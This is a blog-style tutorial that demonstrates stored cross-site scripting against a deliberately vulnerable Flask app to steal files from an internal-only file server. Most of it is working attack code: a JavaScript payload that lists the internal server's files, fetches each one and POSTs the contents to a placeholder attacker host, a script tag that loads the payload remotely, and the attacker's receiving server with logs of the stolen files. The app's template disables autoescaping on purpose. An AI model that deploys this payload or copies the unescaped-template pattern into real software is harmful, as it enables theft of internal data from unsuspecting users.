intro

XSS is a common attack, if not managed well, it could be used to leak files that’s only supposed to be internal to a network or host. In this case study, we’ll look at an example setup and discuss how to use xss to leak files from an internal file server.

setup

There are three components in this case study

  • Attacker host
  • A vulnerable webapp that’s vulnerable to xss
  • A file server that runs on internal network interface (hosted on the same host as the vulnerable web app)
|------------|                 |--------------------------|
|  attacker  |                 | 0.0.0.0:5000 webapp      |
|------------|                 |                          |
                               | 127.0.0.1:80 file server |
                               |        |-----> file1.txt |
                               |        |-----> file2.txt |
                               |--------------------------|

file server

The file server is a simple python script shown below, there are two files file1.txt and file2.txt created alongside the internal file server script just to illustrate the idea.

from http.server import SimpleHTTPRequestHandler, HTTPServer


class S(SimpleHTTPRequestHandler):
    def end_headers(self):
        self.send_my_headers()
        SimpleHTTPRequestHandler.end_headers(self)

    def send_my_headers(self):
        self.send_header("Access-Control-Allow-Origin", "*")


def run_server():
    server_address = ('127.0.0.1', 80)
    httpd = HTTPServer(server_address, S)
    print('Server running on 127.0.0.1:80')

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

    httpd.server_close()
    print('Server stopped')

if __name__ == '__main__':
    run_server()

Vulnerable webapp

This is a simple flask app that stores some user provided content in its memory

from flask import Flask, render_template, request, url_for, flash, redirect

app = Flask(__name__)
GLOBAL_POST_CACHE = '''placeholder'''


@app.route('/', methods=('GET', 'POST'))
def index():
    global GLOBAL_POST_CACHE
    if request.method == 'POST':
        content = request.form['content']
        if not content:
            flash('content is required!')
        else:
            GLOBAL_POST_CACHE = content
            return redirect(url_for('index'))
    else:
        content = GLOBAL_POST_CACHE
    return render_template('index.html', content=content)

The html template file is located at templates/index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>FlaskBlog</title>
</head>
<body>
    {% for message in get_flashed_messages() %}
        <div class="alert alert-danger">{{ message }}</div>
    {% endfor %}
    <h1>Welcome to FlaskBlog</h1>
    <p>We run things on the internal server at 127.0.0.1, you can't get there</p>
    {% block content %}
    {% autoescape false %}
        <h3>Unescaped content</h3>
        <p>{{ content }}</p>
    {% endautoescape %}
    {% autoescape true %}
        <h3>Escaped content</h3>
        <p>{{ content }}</p>
    {% endautoescape %}

    <h2>{% block title %} Update title here {% endblock %}</h2>
    <form method="post">
        <div class="form-group">
            <label for="content">Title</label>
            <textarea name="content" placeholder="content"
                      class="form-control">{{ request.form['content'] }}</textarea>
        </div>
        <div class="form-group">
            <button type="submit" class="btn btn-primary">Submit</button>
        </div>
    </form>
    {% endblock %}
</body>
</html>

The webapp is simple, a user can submit some content and it will be saved in the server’s memory (so that i don’t have to setup a database) and it will be displayed on the html page. Note {% autoescape false %} so that xss can be demostrated.

attacker setup

For attacker, there is a server script that can be used to receive both GET and POST requests. We need this to receive the file contents.

from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs


class S(SimpleHTTPRequestHandler):
    def do_POST(self):
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print(f'POST data: {post_data.decode()}')
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b'POST request received')

    def do_GET(self):
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])
        SimpleHTTPRequestHandler.do_GET(self)

def run_server():
    server_address = ('0.0.0.0', 8000)
    httpd = HTTPServer(server_address, S)
    print('Server running on 0.0.0.0:8000')

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

    httpd.server_close()
    print('Server stopped')

if __name__ == '__main__':
    run_server()

The payload we use to exploit xss is like below

function list_files_on_internal_file_server(html_page){
    const parser = new DOMParser();
    const htmlString = html_page;
    const doc = parser.parseFromString(htmlString, 'text/html');
    const links = doc.querySelectorAll('a');
    const paths = Array.from(links).map((link) => link.getAttribute('href'));
    return paths;
}

function get_files_from_internal_file_server(url){
    fetch(url).then(
        async response=>{
            var attacker = "http://<attacker>/?url=" + encodeURIComponent(url);
            fetch(attacker, {method:'POST', body: await response.arrayBuffer()})
        }
    )
}

var internal_file_server = 'http://127.0.0.1/';
fetch(internal_file_server).then(
    async response=>{
        for (const path of list_files_on_internal_file_server(await response.text())){
            get_files_from_internal_file_server(internal_file_server + path);
        }
    }
)

We can submit this to the vulnerable webapp to exploit the xss vulnerability or include our payload on the webapp like below so that we can more easily tweak the js payload.

<script src="http://<attacker>/payload.js"></script>

attack dataflow

Effectively, the attack data flow is like below

  |attacker|                          |web app|                             |file server|

  send js inclusion tag --------------> save it
                                      (wait for a user)
                                      (to browse the webapp)
                                      (from its browser)
   payload.js <------------------------ load payload
                                        fetch files  ---------------------------> file1.txt, file2.txt
        <------------------------------ send files to attacker

The attacker’s server output will look like below

<victim-ip> - - [30/May/2023 23:55:18] "GET /payload.js HTTP/1.1" 200 -

http://127.0.0.1/file1.txt
POST data: content1
<victim-ip> - - [30/May/2023 23:55:18] "POST /?url=http%3A%2F%2F127.0.0.1%2Ffile1.txt HTTP/1.1" 200 -

http://127.0.0.1/file2.txt
POST data: content2
<victim-ip> - - [30/May/2023 23:55:18] "POST /?url=http%3A%2F%2F127.0.0.1%2Ffile2.txt HTTP/1.1" 200 -

Support meowmeow

If you find this article useful, please support: https://www.buymeacoffee.com/meowmeowattack